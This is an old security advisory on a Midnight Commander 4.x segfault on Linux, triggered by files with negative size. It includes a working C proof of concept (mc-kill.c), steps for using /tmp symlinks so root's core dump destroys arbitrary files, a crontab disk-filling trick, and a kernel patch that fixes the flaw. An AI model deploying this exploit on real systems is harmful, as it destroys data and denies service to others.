COMMAND
Midnight Commander
SYSTEMS AFFECTED
Linux with mc 4.xx
PROBLEM
Maurycy Prodeus found following. He tested 4.1.33. You can make
a Segmentation Fault and if root doesn't lock this , it causes
Core Dumping... of course you just make some file in /tmp (?) and
if root read this file ... his mc creates core... yeesss you can
make symlink to every file in system ... and this file will be
totaly destroyed! Together with "Social Engeering", it is
dangerous. [filename may be example: hacker.tools or sth.] What
file we must create? With negative size , but really it should be
a very large size (very strange that even in kernel 2.2.5 it is
posible to do that). Quick test: Run program below and then run
mc and try to read [F3 of course and example PageDown] file which
was created by mc-kill ...
/* mc-kill.c */
#include <sys/file.h>
#include <stdio.h>
#define size -900000
main(int argc,char* argv[]) {
int i;
if (!argv[1]) {
printf("\nUSAGE : %s filename[and patch] \n\n",argv[0]);
exit(0);
}
fchmod(i=open(argv[1],O_RDWR|O_CREAT,0600),0666);
ftruncate(i,size);
fsync(i);
}
If you use above program (or /dev/zero) you may fill partition ...
When crontab is reading file, it creates temp in /var/spool/cron/
(non-root can't even read this), but, if it doesn't finish then
doesn't delete this temp file... So, we must give crontab file
with "infinit" size. Example:
crontab -file-made-by-mc-kill
SOLUTION
You should NEVER read strange file in MC. You should NEVER use
mc as root as well. lcamtuf wrote kernel module which not allow
to create symlinks in /tmp:
http://dione.ids.pl
Looking at the 2.0.36 source, there is no check in
fs/open.c:do_truncate so assume it that is vulnerable too. Recent
linux 2.2.x kernels seem OK. A patch to fix 2.0.x this is
appended below (against 2.0.36). Its just a cut and paste of the
relevant code from recent kernels.
--- linux/fs/open.c~ Sat Nov 30 23:21:19 1996
+++ linux/fs/open.c Mon Apr 19 12:44:47 1999
@@ -68,6 +68,11 @@
int error;
struct iattr newattrs;
+
+ /* Not pretty: "inode->i_size" shouldn't really be "off_t". But it is. */
+ if ((off_t) length < 0)
+ return -EINVAL;
+
down(&inode->i_sem);
newattrs.ia_size = length;
newattrs.ia_valid = ATTR_SIZE | ATTR_CTIME;